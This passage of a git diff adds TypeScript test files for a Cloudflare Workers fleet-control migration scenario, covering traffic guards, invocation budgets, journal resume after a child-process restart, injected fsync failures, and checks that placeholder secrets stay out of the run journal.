'recovery']); + }); + + it('projects operation anchors without the frozen input and records without undefined', () => { + expect( + operationFacts({ + slot: 'migration-next', + operationId: 'operation', + inputJson: '{"records":[]}', + tokenRevision: 2, + }), + ).toEqual({ + slot: 'migration-next', + operationId: 'operation', + inputSha256: hash('{"records":[]}'), + tokenRevision: 2, + }); + expect(recordFacts({ role: 'a', present: false })).toEqual({ + role: 'a', + present: false, + phase: null, + desiredSpecDigest: null, + pendingSpecDigest: null, + artifactVersion: null, + pendingArtifactVersion: null, + databaseId: null, + }); + }); + + it('selects the pending artifact only for a candidate expectation and refuses an absent record', () => { + const record = { + role: 'a' as const, + present: true, + artifactVersion: 'current', + pendingArtifactVersion: 'next', + desiredSpecDigest: 'a'.repeat(64), + pendingSpecDigest: 'b'.repeat(64), + databaseId: 'database', + }; + expect(expectedVersion(record, '1')).toEqual({ + role: 'a', + versionId: 'current', + databaseId: 'database', + specDigest: 'a'.repeat(64), + applicationRelease: '1', + }); + expect(expectedVersion(record, '2', true)).toEqual({ + role: 'a', + versionId: 'next', + databaseId: 'database', + specDigest: 'b'.repeat(64), + applicationRelease: '2', + }); + expect( + refusal(() => expectedVersion({ role: 'a', present: false }, '1')), + ).toBe('observation-mismatch'); + expect(refusal(() => expectedVersion(null, '1'))).toBe( + 'observation-mismatch', + ); + }); +}); + +describe('scenario migration guards', () => { + it('requires item a to complete before item b leaves pending', () => { + expect( + refusal(() => + checkItemConvergence([item(0, 'active'), item(1, 'pending')]), + ), + ).toBe('accepted'); + expect( + refusal(() => + checkItemConvergence([item(0, 'complete'), item(1, 'active')]), + ), + ).toBe('accepted'); + expect( + refusal(() => + checkItemConvergence([item(0, 'active'), item(1, 'active')]), + ), + ).toBe('observation-mismatch'); + expect( + refusal(() => + checkItemConvergence([item(0, 'pending'), item(1, 'complete')]), + ), + ).toBe('observation-mismatch'); + }); + + it('requires the candidate at zero percent beside the original at one hundred in one deployment', () => { + const previous = observation('old', 100, [ + { versionId: 'old', percentage: 100 }, + ]); + const candidate = observation( + 'new', + 0, + [ + { versionId: 'old', percentage: 100 }, + { versionId: 'new', percentage: 0 }, + ], + 'old', + ); + expect(refusal(() => checkTrafficDistribution(candidate, previous))).toBe( + 'accepted', + ); + expect( + refusal(() => + checkTrafficDistribution( + observation( + 'new', + 0, + [ + { versionId: 'old', percentage: 0 }, + { versionId: 'new', percentage: 0 }, + ], + 'old', + ), + previous, + ), + ), + ).toBe('observation-mismatch'); + expect( + refusal(() => + checkTrafficDistribution( + observation('new', 0, [{ versionId: 'new', percentage: 0 }], 'old'), + previous, + ), + ), + ).toBe('observation-mismatch'); + expect( + refusal(() => + checkTrafficDistribution( + observation( + 'new', + 100, + [ + { versionId: 'old', percentage: 100 }, + { versionId: 'new', percentage: 0 }, + ], + 'old', + ), + previous, + ), + ), + ).toBe('observation-mismatch'); + }); +}); + +describe('scenario one-shot mutation reconciliation', () => { + const started = { + slot: 'migration-next' as const, + operationId: 'operation', + inputJson: '{}', + tokenRevision: 1, + }; + const startCall = { + ordinal: 9, + action: { kind: 'migration-start' } as const, + outcome: 'returned', + }; + + it('treats a present migration slot as the settled start so a resume issues no second start', () => { + expect(migrationStartSettled({ operations: [] }, startCall)).toBe(false); + expect( + migrationStartSettled( + { + operations: [ + { + slot: 'inventory-before', + operationId: 'other', + inputJson: '{}', + tokenRevision: 0, + }, + ], + }, + startCall, + ), + ).toBe(false); + expect(migrationStartSettled({ operations: [started] }, startCall)).toBe( + true, + ); + }); + + it('refuses a migration slot the recorded mutation does not account for', () => { + expect( + refusal(() => + migrationStartSettled( + { operations: [{ ...started, operationId: null }] }, + startCall, + ), + ), + ).toBe('proof-unavailable'); + expect( + refusal(() => migrationStartSettled({ operations: [started] }, null)), + ).toBe('proof-unavailable'); + expect( + refusal(() => + migrationStartSettled( + { operations: [started] }, + { ...startCall, outcome: 'reference-refused' }, + ), + ), + ).toBe('proof-unavailable'); + expect( + refusal(() => + migrationStartSettled( + { operations: [started] }, + { ...startCall, action: { kind: 'control-read' } }, + ), + ), + ).toBe('proof-unavailable'); + }); + + it('treats an existing interruption witness as the consumed injection so a resume issues no second continue', () => { + const loss = { + ordinal: 12, + action: { kind: 'migration-continue' } as const, + outcome: 'injected-response-loss', + }; + expect(migrationInterruptSettled({ interruption: null }, loss)).toBe(false); + expect( + migrationInterruptSettled({ interruption: '{"version":1}' }, loss), + ).toBe(true); + }); + + it('refuses an interruption witness that the recorded mutation does not account for', () => { + expect( + refusal(() => + migrationInterruptSettled({ interruption: '{"version":1}' }, null), + ), + ).toBe('proof-unavailable'); + expect( + refusal(() => + migrationInterruptSettled( + { interruption: '{"version":1}' }, + { + ordinal: 12, + action: { kind: 'migration-continue' }, + outcome: 'returned', + }, + ), + ), + ).toBe('proof-unavailable'); + expect( + refusal(() => + migrationInterruptSettled( + { interruption: '{"version":1}' }, + { + ordinal: 12, + action: { kind: 'control-read' }, + outcome: 'injected-response-loss', + }, + ), + ), + ).toBe('proof-unavailable'); + }); +}); + +describe('scenario reconciliation allowance', () => { + it('allows no record change during an audit action', () => { + expect(changedBy({ kind: 'audit-start', slot: 'audit-before' })).toEqual({ + slots: ['audit-before'], + roles: [], + }); + expect( + changedBy({ kind: 'audit-page', slot: 'audit-after', limit: 32 }), + ).toEqual({ slots: ['audit-after'], roles: [] }); + }); + + it('maps every other action to the slot and roles it may change', () => { + expect(changedBy(null)).toEqual({ slots: [], roles: [] }); + expect( + changedBy({ kind: 'provision', role: 'a', release: 'initial' }), + ).toEqual({ slots: ['cleanup-a'], roles: ['a'] }); + expect( + changedBy({ kind: 'provision', role: 'recovery', release: 'initial' }), + ).toEqual({ slots: ['cleanup-recovery-initial'], roles: ['recovery'] }); + expect( + changedBy({ + kind: 'provision', + role: 'recovery', + release: 'failed-recovery', + }), + ).toEqual({ slots: ['cleanup-recovery'], roles: ['recovery'] }); + expect( + changedBy({ kind: 'inventory-start', slot: 'inventory-before' }), + ).toEqual({ slots: ['inventory-before'], roles: [] }); + expect(changedBy({ kind: 'migration-continue' })).toEqual({ + slots: ['migration-next'], + roles: ['a', 'b'], + }); + expect(changedBy({ kind: 'cleanup-continue', role: 'recovery' })).toEqual({ + slots: ['cleanup-recovery'], + roles: ['recovery'], + }); + expect(changedBy({ kind: 'decommission-start', role: 'b' })).toEqual({ + slots: ['decommission-b'], + roles: ['b'], + }); + expect(changedBy({ kind: 'force-recovery' })).toEqual({ + slots: [], + roles: ['recovery'], + }); + expect(changedBy({ kind: 'recover-force-residual' })).toEqual({ + slots: [], + roles: ['recovery'], + }); + expect( + changedBy({ kind: 'tenant-probe', role: 'a', operation: 'object-put' }), + ).toEqual({ slots: [], roles: [] }); + expect(changedBy({ kind: 'control-read' })).toEqual({ + slots: [], + roles: [], + }); + }); +}); + +describe('scenario invocation budget', () => { + const zeroCalls = () => + Object.fromEntries( + DIRECT_SCENARIO_PHASES.map((phase) => [phase, 0]), + ) as Record; + const unknownPhase = 'not-a-phase' as DirectScenarioPhase; + const reserveTotal = () => + Object.values(DIRECT_SCENARIO_INVOCATION_BUDGET).reduce( + (sum, entry) => sum + entry.reserve, + 0, + ); + + it('derives the phase list from the budget table and keeps both columns on the rule', () => { + expect(Object.keys(DIRECT_SCENARIO_INVOCATION_BUDGET)).toEqual([ + ...DIRECT_SCENARIO_PHASES, + ]); + for (const [phase, entry] of Object.entries( + DIRECT_SCENARIO_INVOCATION_BUDGET, + )) { + expect({ phase, ...entry }).toEqual({ + phase, + measured: entry.measured, + ceiling: Math.max(16, Math.ceil((entry.measured * 2) / 8) * 8), + reserve: Math.max(4, Math.ceil((entry.measured * 1.25) / 4) * 4), + }); + expect(entry.ceiling - entry.measured).toBeGreaterThanOrEqual(8); + } + }); + + it('reserves the reserve of every phase from the current one onward', () => { + expect(phaseInvocationReserve('provision-a')).toBe(reserveTotal()); + expect(phaseInvocationReserve('complete')).toBe( + DIRECT_SCENARIO_INVOCATION_BUDGET.complete.reserve, + ); + expect(phaseInvocationReserve('force-observe')).toBe( + DIRECT_SCENARIO_INVOCATION_BUDGET['force-observe'].reserve + + DIRECT_SCENARIO_INVOCATION_BUDGET['recover-force-residual'].reserve + + DIRECT_SCENARIO_INVOCATION_BUDGET.complete.reserve, + ); + expect(refusal(() => phaseInvocationReserve(unknownPhase))).toBe( + 'invalid-input', + ); + }); + + it('separates a spent phase ceiling from a run that cannot cover the phases left', () => { + const calls = zeroCalls(); + const total = phaseInvocationReserve('provision-a'); + expect( + refusal(() => checkInvocationHeadroom('provision-a', calls, total)), + ).toBe('accepted'); + expect( + cause(() => checkInvocationHeadroom('provision-a', calls, total - 1)), + ).toEqual({ code: 'budget-exhausted', detail: 'run-reserve' }); + expect( + refusal(() => checkInvocationHeadroom('provision-a', calls, 0)), + ).toBe('invocation-budget-exhausted'); + const spent = { + ...calls, + 'provision-a': DIRECT_SCENARIO_INVOCATION_BUDGET['provision-a'].ceiling, + }; + expect( + cause(() => checkInvocationHeadroom('provision-a', spent, total)), + ).toEqual({ code: 'budget-exhausted', detail: 'phase-ceiling' }); + expect( + refusal(() => + checkInvocationHeadroom( + 'provision-a', + { ...calls, 'provision-a': 1 }, + total - 1, + ), + ), + ).toBe('accepted'); + expect( + refusal(() => checkInvocationHeadroom(unknownPhase, calls, total)), + ).toBe('invalid-input'); + }); + + it('declares the invocation floor the shipped configuration clears', async () => { + const config = JSON.parse( + await readFile( + new URL( + '../scripts/direct-credentialed-conformance.example.json', + import.meta.url, + ), + 'utf8', + ), + ) as { referenceWorker: { maxInvocations: number } }; + expect(DIRECT_SCENARIO_MIN_INVOCATIONS).toBe(reserveTotal() + 1 + 8); + expect(config.referenceWorker.maxInvocations).toBeGreaterThanOrEqual( + DIRECT_SCENARIO_MIN_INVOCATIONS, + ); + }); +}); diff --git a/packages/fleet-control/test/direct-credentialed-scenario.test.ts b/packages/fleet-control/test/direct-credentialed-scenario.test.ts new file mode 100644 index 00000000..d4639e3a --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-scenario.test.ts @@ -0,0 +1,891 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { spawn } from 'node:child_process'; +import { readFile, writeFile } from 'node:fs/promises'; +import { join } from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { + createDirectInvocationClient, + type DirectInvocationClient, + DirectInvocationError, +} from '../scripts/direct-credentialed-invocation.mjs'; +import { observeDirectWorkerVersion } from '../scripts/direct-credentialed-observations.mjs'; +import { + type DirectRunJournal, + openDirectRunState, +} from '../scripts/direct-credentialed-run-state.mjs'; +import { + type DirectScenarioOutcome, + type DirectScenarioState, + runDirectCredentialedScenario, +} from '../scripts/direct-credentialed-scenario.mjs'; +import { + DIRECT_SCENARIO_INVOCATION_BUDGET, + DIRECT_SCENARIO_MIN_INVOCATIONS, +} from '../scripts/direct-credentialed-scenario-budget.mjs'; +import { + hash, + jsonHash, +} from '../scripts/direct-credentialed-scenario-checks.mjs'; +import { DIRECT_TENANT_OBJECT_BODY } from '../scripts/direct-credentialed-tenant-object.mjs'; +import type { DirectReferenceAction } from '../scripts/direct-reference-contract.mjs'; +import { directObservationFixture } from './fixtures/direct-observations.js'; +import { createDirectReferenceHarness } from './fixtures/direct-reference-harness.js'; +import { + cleanupDirectRunState, + type MutableScenario, + PROCESS, + RESUMED, + scenarioJournal, + scenarioWith, +} from './fixtures/direct-run-state-builder.js'; + +const cleanup: (() => Promise)[] = []; +afterEach(async () => { + const results = await Promise.allSettled( + cleanup + .splice(0) + .reverse() + .map((close) => close()), + ); + await cleanupDirectRunState(); + const failed = results.filter((result) => result.status === 'rejected'); + expect(failed).toEqual([]); +}); + +async function resume(f: Awaited>) { + const resumed = await openDirectRunState({ + configPath: f.local.configPath, + prepared: f.local.prepared, + accountId: 'account', + mode: 'resume', + }); + cleanup.push(() => resumed.close()); + return resumed; +} + +describe.sequential('scenario proof failures in native reference state', { + timeout: 660_000, +}, () => { + it('reads uploaded runtime limits through the native fixture and rejects settings drift', async () => { + const f = await fixture(); + const input = f.input(); + await input.invocation.invoke({ + kind: 'provision', + role: 'a', + release: 'initial', + }); + const control = (await input.invocation.invoke({ kind: 'control-read' })) + .result as { + records: { + role: string; + artifactVersion: string; + databaseId: string; + desiredSpecDigest: string; + }[]; + }; + const record = control.records.find((record) => record.role === 'a'); + if (!record) throw new Error('native fixture record is missing'); + const expected = { + ...input, + role: 'a' as const, + applicationRelease: '1' as const, + versionId: record.artifactVersion, + databaseId: record.databaseId, + specDigest: record.desiredSpecDigest, + }; + expect(await observeDirectWorkerVersion(expected)).toMatchObject({ + cpuLimitMs: 50, + subrequestLimit: 50, + }); + const upload = f.native.projection.requests.find( + (request) => + request.method === 'PUT' && request.url.includes('/workers/scripts/'), + ); + const metadata = ( + upload?.body as + | { metadata: { limits: { subrequests: number } } } + | undefined + )?.metadata; + if (!metadata) throw new Error('native fixture upload metadata is missing'); + metadata.limits.subrequests++; + await expect(observeDirectWorkerVersion(expected)).rejects.toMatchObject({ + code: 'observation-mismatch', + }); + expect(f.native.bridgeErrors).toEqual([]); + }); + + it('rejects a changed original witness before any resumed mutation', async () => { + let corrupt = false; + const f = await fixture({ + nodeResponse: async (_request, response) => { + if ( + !corrupt || + !response.headers.get('content-type')?.includes('application/json') + ) + return response; + const value = (await response.clone().json()) as { + action?: string; + result?: { interruption?: string }; + }; + if (value.action !== 'control-read' || !value.result?.interruption) + return response; + const witness = JSON.parse(value.result.interruption); + witness.claimJson = JSON.stringify({ + ...JSON.parse(witness.claimJson), + operationId: 'foreign-operation', + }); + value.result.interruption = JSON.stringify(witness); + return Response.json(value, { + status: response.status, + headers: response.headers, + }); + }, + }); + expect(await runDirectCredentialedScenario(f.input())).toEqual({ + status: 'restart-required', + }); + const mutations = [...f.native.world.mutationLog]; + corrupt = true; + const child = await childResume(f); + expect(child.result).toMatchObject({ + status: 'failed', + reason: 'observation-mismatch', + phase: 'migration-restart', + }); + expect(f.native.world.mutationLog).toEqual(mutations); + }); + + it('hashes export bytes and dispatches no later tenant D1 deletion on mismatch', async () => { + let corruptions = 0; + const f = await fixture({ + nodeResponse: async (request, response) => { + if ( + !request.url.includes('/r2/buckets/') || + !request.url.includes('/objects/') || + !response.ok + ) + return response; + corruptions++; + const bytes = new Uint8Array(await response.arrayBuffer()); + bytes[0] = (bytes[0] ?? 0) ^ 1; + return new Response(bytes, { status: 200, headers: response.headers }); + }, + }); + expect(await runDirectCredentialedScenario(f.input())).toEqual({ + status: 'restart-required', + }); + const databaseId = + f.local.journal.snapshot().scenario?.proofs.initial.a?.databaseId; + const child = await childResume(f); + expect(child.result).toMatchObject({ + status: 'failed', + reason: 'observation-mismatch', + phase: 'decommission-a', + }); + expect(corruptions).toBe(1); + expect( + f.native.projection.requests.filter( + (request) => + request.method === 'DELETE' && + request.url.endsWith(`/d1/database/${databaseId}`), + ), + ).toEqual([]); + const state = JSON.parse( + await readFile(join(f.local.journal.directory, 'journal.json'), 'utf8'), + ); + expect(state.scenario.proofs.exports.a).toBeNull(); + expect(state.scenario.proofs.decommission.a).toBeNull(); + const resumed = await resume(f); + const count = resumed.snapshot().invocationCount; + expect(await runDirectCredentialedScenario(f.input(resumed))).toMatchObject( + { status: 'failed', reason: 'observation-mismatch' }, + ); + expect(resumed.snapshot().invocationCount).toBe(count); + }); + + it('stops on proof fsync failure and safely resumes the settled export boundary', async () => { + const f = await fixture(); + expect(await runDirectCredentialedScenario(f.input())).toEqual({ + status: 'restart-required', + }); + const databaseId = + f.local.journal.snapshot().scenario?.proofs.initial.a?.databaseId; + const child = await childResume(f, 'export-fsync'); + expect(child.stdout).toContain('SCENARIO_FAULT export-fsync'); + expect(child.result).toMatchObject({ + status: 'failed', + reason: 'journal-failed', + phase: 'decommission-a', + }); + expect( + f.native.projection.requests.filter( + (request) => + request.method === 'DELETE' && + request.url.endsWith(`/d1/database/${databaseId}`), + ), + ).toEqual([]); + const resumed = await resume(f); + expect(resumed.snapshot().scenario?.proofs.exports.a).toBeNull(); + const result = await runDirectCredentialedScenario(f.input(resumed)); + expect({ result, state: resumed.snapshot().scenario }).toMatchObject({ + result: { status: 'complete' }, + }); + expect(resumed.snapshot().scenario?.proofs.exports.a?.verified).toBe(true); + expect(resumed.snapshot().invocationCount).toBeLessThanOrEqual( + f.local.prepared.config.referenceWorker.maxInvocations, + ); + }); +}); + +describe('scenario journal refusal boundaries', () => { + it('refuses a configured budget below the declared scenario floor before any invocation', async () => { + const local = await directObservationFixture(1000, 'confirmed', { + maxInvocations: DIRECT_SCENARIO_MIN_INVOCATIONS - 1, + }); + cleanup.push(() => local.close()); + let calls = 0; + const invocation = { + async invoke() { + calls++; + throw new Error('unexpected invocation'); + }, + }; + const input = { + prepared: local.prepared, + journal: local.journal, + invocation, + apiToken: 'inert', + }; + expect(await runDirectCredentialedScenario(input)).toMatchObject({ + status: 'failed', + reason: 'budget-exhausted', + phase: 'provision-a', + invocationCount: 1, + }); + expect(calls).toBe(0); + expect(local.journal.snapshot().scenario?.failure).toMatchObject({ + code: 'budget-exhausted', + }); + expect(await runDirectCredentialedScenario(input)).toMatchObject({ + status: 'failed', + reason: 'budget-exhausted', + }); + expect(calls).toBe(0); + }); + + it('retains the exhausted original invocation budget and closed scenario fields', async () => { + const local = await directObservationFixture(1000, 'confirmed', { + maxInvocations: DIRECT_SCENARIO_MIN_INVOCATIONS, + }); + cleanup.push(() => local.close()); + while ( + local.journal.snapshot().invocationCount < DIRECT_SCENARIO_MIN_INVOCATIONS + ) + await local.settle({ kind: 'control-read' }); + let calls = 0; + const invocation = { + async invoke() { + calls++; + throw new Error('unexpected invocation'); + }, + }; + const outcome = await runDirectCredentialedScenario({ + prepared: local.prepared, + journal: local.journal, + invocation, + apiToken: 'inert', + }); + expect(outcome).toMatchObject({ + status: 'failed', + reason: 'invocation-budget-exhausted', + invocationCount: DIRECT_SCENARIO_MIN_INVOCATIONS, + }); + expect(calls).toBe(0); + const state = local.journal.snapshot().scenario; + if (!state) throw new Error('scenario state is missing'); + for (const bad of [ + { ...state, headers: { authorization: 'private-sentinel' } }, + { ...state, phase: 'complete' }, + { + ...state, + lastCall: { + ordinal: DIRECT_SCENARIO_MIN_INVOCATIONS, + action: { kind: 'control-read', token: 'opaque-sentinel' }, + outcome: 'returned', + attempts: { provider: 0, maintenance: 0, application: 0 }, + migration: null, + }, + }, + ]) + await expect( + local.journal.recordScenario(bad as typeof state), + ).rejects.toMatchObject({ code: 'invalid-state' }); + expect( + await readFile(join(local.journal.directory, 'journal.json'), 'utf8'), + ).not.toContain('sentinel'); + await local.journal.close(); + const resumed = await openDirectRunState({ + configPath: local.configPath, + prepared: local.prepared, + accountId: 'account', + mode: 'resume', + }); + cleanup.push(() => resumed.close()); + expect(resumed.snapshot().invocationCount).toBe( + DIRECT_SCENARIO_MIN_INVOCATIONS, + ); + expect(resumed.snapshot().bootstrap).toEqual( + local.journal.snapshot().bootstrap, + ); + expect( + await runDirectCredentialedScenario({ + prepared: local.prepared, + journal: resumed, + invocation, + apiToken: 'inert', + }), + ).toMatchObject({ + status: 'failed', + reason: 'invocation-budget-exhausted', + }); + expect(calls).toBe(0); + }); + + it('retains an unknown pending invocation and refuses readbacks and concurrent mutation', async () => { + const local = await directObservationFixture(); + cleanup.push(() => local.close()); + let calls = 0; + const invocation = createDirectInvocationClient({ + prepared: local.prepared, + journal: local.journal, + accountWorkersDevSubdomain: 'attested-account', + invokeSecret: 'inert', + fetch: async () => { + calls++; + throw new Error('unknown synthetic delivery'); + }, + }); + const input = { + prepared: local.prepared, + journal: local.journal, + invocation, + apiToken: 'inert', + }; + expect(await runDirectCredentialedScenario(input)).toMatchObject({ + status: 'failed', + reason: 'outcome-unknown', + }); + const snapshot = local.journal.snapshot(); + expect(snapshot.lastInvocation?.state).toBe('pending'); + expect(snapshot.invocationCount).toBe(2); + expect(await runDirectCredentialedScenario(input)).toMatchObject({ + status: 'failed', + reason: 'outcome-unknown', + }); + expect(local.journal.snapshot()).toEqual(snapshot); + expect(calls).toBe(1); + }); +}); + +async function fixture( + options: { + maxInvocations?: number; + nodeResponse?: NonNullable< + Parameters[0] + >['nodeResponse']; + } = {}, +) { + const local = await directObservationFixture(30_000, 'confirmed', { + invocationTimeoutMs: 600_000, + maxProviderRequests: 1000, + ...(options.maxInvocations + ? { maxInvocations: options.maxInvocations } + : {}), + }); + cleanup.push(() => local.close()); + const native = await createDirectReferenceHarness({ + manifest: local.prepared.manifest, + binding: { + version: 1, + accountId: 'account', + fleetDatabaseId: 'fleet-id', + quotaDatabaseId: 'quota-id', + exportBucketName: local.prepared.names.exportBucket, + referenceModuleSetSha256: local.prepared.referenceModuleSetSha256, + accountWorkersDevSubdomain: 'attested-account', + }, + maintenanceNow: Date.now, + applicationProbes: true, + ...(options.nodeResponse ? { nodeResponse: options.nodeResponse } : {}), + }); + cleanup.push(() => native.close()); + const input = (journal: DirectRunJournal = local.journal) => ({ + prepared: local.prepared, + journal, + apiToken: 'inert-provider-token', + fetch: native.fetch, + invocation: createDirectInvocationClient({ + prepared: local.prepared, + journal, + accountWorkersDevSubdomain: native.binding.accountWorkersDevSubdomain, + invokeSecret: 'inert-invoke', + fetch: native.fetch, + }), + }); + return { local, native, input }; +} + +async function childResume( + f: Awaited>, + fault?: 'export-fsync', +) { + await f.local.journal.close(); + const script = join(f.local.directory, 'resume.mjs'); + const moduleUrl = (name: string) => + new URL(`../scripts/${name}.mjs`, import.meta.url).href; + await writeFile( + script, + ` +import {preflightDirectConformance} from ${JSON.stringify(moduleUrl('direct-credentialed-conformance-preflight'))}; +import {openDirectRunState} from ${JSON.stringify(moduleUrl('direct-credentialed-run-state'))}; +import {createDirectInvocationClient} from ${JSON.stringify(moduleUrl('direct-credentialed-invocation'))}; +import {runDirectCredentialedScenario} from ${JSON.stringify(moduleUrl('direct-credentialed-scenario'))}; +import fs from 'node:fs/promises'; +import {syncBuiltinESMExports} from 'node:module'; +${fault === 'export-fsync' ? `const realOpen=fs.open;let injected=false;fs.open=async(...args)=>{const handle=await realOpen(...args);if(String(args[0]).includes('/.journal-')){const realWrite=handle.writeFile.bind(handle),realSync=handle.sync.bind(handle);let proof=false;handle.writeFile=async(value,...rest)=>{const state=JSON.parse(String(value));proof=Boolean(state.scenario?.proofs.exports.a);return realWrite(value,...rest);};handle.sync=async()=>{if(proof&&!injected){injected=true;console.log('SCENARIO_FAULT export-fsync');throw new Error('fixture proof fsync failure');}return realSync();};}return handle;};syncBuiltinESMExports();` : ''} +const prepared=await preflightDirectConformance({configPath:${JSON.stringify(f.local.configPath)}}); +const journal=await openDirectRunState({configPath:${JSON.stringify(f.local.configPath)},prepared,accountId:'account',mode:'resume'}); +const originalFetch=globalThis.fetch; +const fetch=async(input,init)=>{const request=new Request(input,init);const url=new URL(request.url);if(url.origin!=='https://api.cloudflare.com'&&url.origin!==${JSON.stringify(`https://${f.local.prepared.names.referenceWorker}.attested-account.workers.dev`)})throw new Error('unexpected child origin');const headers=new Headers(request.headers);headers.set('X-Direct-Fixture-Url',request.url);return originalFetch(${JSON.stringify(f.native.bridgeUrl)},{method:request.method,headers,body:request.body,signal:request.signal,redirect:'manual',duplex:'half'});}; +globalThis.fetch=async()=>{throw new Error('unexpected child network');}; +try {const invocation=createDirectInvocationClient({prepared,journal,accountWorkersDevSubdomain:'attested-account',invokeSecret:'inert-invoke',fetch});const result=await runDirectCredentialedScenario({prepared,journal,invocation,apiToken:'inert-provider-token',fetch});console.log('SCENARIO_RESULT '+JSON.stringify(result));}finally{await journal.close();} +`, + ); + const child = spawn(process.execPath, [script], { + env: { PATH: process.env.PATH }, + stdio: ['ignore', 'pipe', 'pipe'], + }); + let stdout = ''; + let stderr = ''; + child.stdout.on('data', (chunk) => { + stdout += String(chunk); + }); + child.stderr.on('data', (chunk) => { + stderr += String(chunk); + }); + const status = await new Promise((resolve, reject) => { + const timer = setTimeout(() => { + child.kill('SIGKILL'); + }, 540_000); + child.once('error', (error) => { + clearTimeout(timer); + reject(error); + }); + child.once('close', (code) => { + clearTimeout(timer); + resolve(code); + }); + }); + expect({ status, stderr }).toEqual({ status: 0, stderr: '' }); + const line = stdout + .split('\n') + .find((line) => line.startsWith('SCENARIO_RESULT ')); + if (!line) throw new Error(`child returned no result: ${stdout}`); + return { + result: JSON.parse( + line.slice('SCENARIO_RESULT '.length), + ) as DirectScenarioOutcome, + stdout, + stderr, + }; +} + +describe.sequential('fixed Node scenario through native reference dispatch', { + timeout: 660_000, +}, () => { + it('completes normal migration, historical recovery and force after a real child restart', async () => { + const f = await fixture(); + const first = await runDirectCredentialedScenario(f.input()); + expect({ + first, + bridgeErrors: f.native.bridgeErrors, + state: f.local.journal.snapshot().scenario, + }).toMatchObject({ + first: { status: 'restart-required' }, + bridgeErrors: [], + }); + const initial = f.local.journal.snapshot(); + const count = initial.invocationCount; + expect(await runDirectCredentialedScenario(f.input())).toEqual({ + status: 'restart-required', + }); + expect(f.local.journal.snapshot().invocationCount).toBe(count); + const witness = await f.native.journal().readInterruption(); + expect(witness).not.toBeNull(); + const stale = JSON.parse(JSON.parse(witness as string).claimJson); + const wrong = await f.native.call({ + kind: 'migration-continue', + token: { ...stale, operationId: 'foreign-operation' }, + }); + expect(wrong.response.status).toBe(409); + expect(wrong.response.headers.get('X-Direct-Provider-Attempts')).toBe('0'); + await f.native.reload(); + const child = await childResume(f); + expect({ + result: child.result, + bridgeErrors: f.native.bridgeErrors, + journal: await readFile( + join(f.local.journal.directory, 'journal.json'), + 'utf8', + ), + }).toMatchObject({ result: { status: 'complete' }, bridgeErrors: [] }); + if (child.result.status !== 'complete') + throw new Error('scenario did not complete'); + const proofs = child.result.facts; + expect(proofs.restart?.process.pid).toBe(process.pid); + expect(proofs.restart?.resumedProcess?.pid).not.toBe(process.pid); + for (const role of ['a', 'b'] as const) { + expect(proofs.initial[role]?.trafficPercentage).toBe(100); + expect(proofs.candidate[role]?.trafficPercentage).toBe(0); + expect(proofs.final[role]?.trafficPercentage).toBe(100); + expect(proofs.exports[role]?.verified).toBe(true); + expect(proofs.decommission[role]?.phase).toBe('decommissioned'); + const history = proofs.exportVerifications.filter( + (entry) => entry.role === role, + ); + expect(history.length).toBeGreaterThan(0); + expect(history.filter((entry) => entry.verified)).toEqual(history); + expect(history.at(-1)).toEqual(proofs.exports[role]); + } + expect(proofs.effects).toHaveLength(2); + expect(proofs.inventories.before?.calls).toBeGreaterThan(1); + expect(proofs.inventories.after?.generation).toBeGreaterThan( + proofs.inventories.before?.generation ?? 0, + ); + expect(proofs.audits.before?.findings).toEqual([]); + expect(proofs.audits.after?.findings).toEqual([]); + expect(proofs.force?.worker.scriptPresent).toBe(true); + expect(proofs.residual?.worker.scriptPresent).toBe(false); + expect(proofs.force?.priorCleanup.operationId).toBe( + proofs.cleanup?.operationId, + ); + expect(proofs.residual?.priorCleanup).toEqual(proofs.force?.priorCleanup); + expect(f.native.world.databases).toEqual([]); + expect(f.native.buckets.size).toBe(0); + expect((await f.native.exportBytes.list()).objects.length).toBeGreaterThan( + 0, + ); + const serialized = await readFile( + join(f.local.journal.directory, 'journal.json'), + 'utf8', + ); + for (const sentinel of [ + 'APP_PROBE_TOKEN', + 'inert-provider-token', + 'inert-invoke', + 'claimJson', + 'tokenJson', + 'SELECT ', + 'CREATE TABLE ', + 'INSERT INTO ', + DIRECT_TENANT_OBJECT_BODY, + ]) + expect(serialized).not.toContain(sentinel); + const budget: Record = + DIRECT_SCENARIO_INVOCATION_BUDGET; + const phaseCalls: Record = + JSON.parse(serialized).scenario.phaseCalls; + expect( + Object.entries(phaseCalls).filter( + ([phase, calls]) => calls > (budget[phase]?.ceiling ?? 0), + ), + ).toEqual([]); + expect(serialized).not.toContain(JSON.parse(witness as string).claimJson); + const resumed = await resume(f); + expect((await runDirectCredentialedScenario(f.input(resumed))).status).toBe( + 'complete', + ); + }); +}); + +describe('scenario resume re-entry against a settled journal', () => { + const OPERATION_INPUT = '{"records":[]}'; + const OPERATION_ID = 'migration-operation'; + const ENTRY_DIGEST = 'e'.repeat(64); + const TARGET_DIGEST = 'f'.repeat(64); + const SPEC_DIGEST = 'd'.repeat(64); + + type Journal = Awaited>; + + const remoteOperation = () => ({ + slot: 'migration-next' as const, + operationId: OPERATION_ID, + inputJson: OPERATION_INPUT, + tokenRevision: 1, + }); + + const remoteRecord = (role: 'a' | 'b' | 'recovery') => ({ + role, + present: true, + phase: 'ready', + desiredSpecDigest: SPEC_DIGEST, + pendingSpecDigest: SPEC_DIGEST, + artifactVersion: `version-${role}`, + pendingArtifactVersion: `version-${role}`, + databaseId: `database-${role}`, + }); + + const migrationItems = (f: Journal['f']) => + (['a', 'b'] as const).map((role, index) => ({ + ordinal: index, + tenantTag: f.prepared.names.roles[role].tenantTag, + environment: f.prepared.config.environment, + status: index === 0 ? 'active' : 'pending', + planCursor: 0, + entryRecordDigest: ENTRY_DIGEST, + targetSpecDigest: TARGET_DIGEST, + plan: [{ step: 'arm-maintenance' }, { step: 'promote' }], + })); + + const witness = (f: Journal['f']) => { + const claimJson = JSON.stringify({ + operationId: OPERATION_ID, + revision: 1, + }); + const returnedTokenJson = JSON.stringify({ + operationId: OPERATION_ID, + revision: 2, + }); + return { + claimJson, + returnedTokenJson, + interruption: JSON.stringify({ + version: 1, + boundary: 'after-migration-admission', + slot: 'migration-next', + operationId: OPERATION_ID, + claimJson, + returnedTokenJson, + item: { + ordinal: 0, + beforeStatus: 'pending', + afterStatus: 'active', + planCursor: 0, + tenantTag: f.prepared.names.roles.a.tenantTag, + environment: f.prepared.config.environment, + entryRecordDigest: ENTRY_DIGEST, + targetSpecDigest: TARGET_DIGEST, + }, + }), + }; + }; + + function reference(journal: Journal, options: { 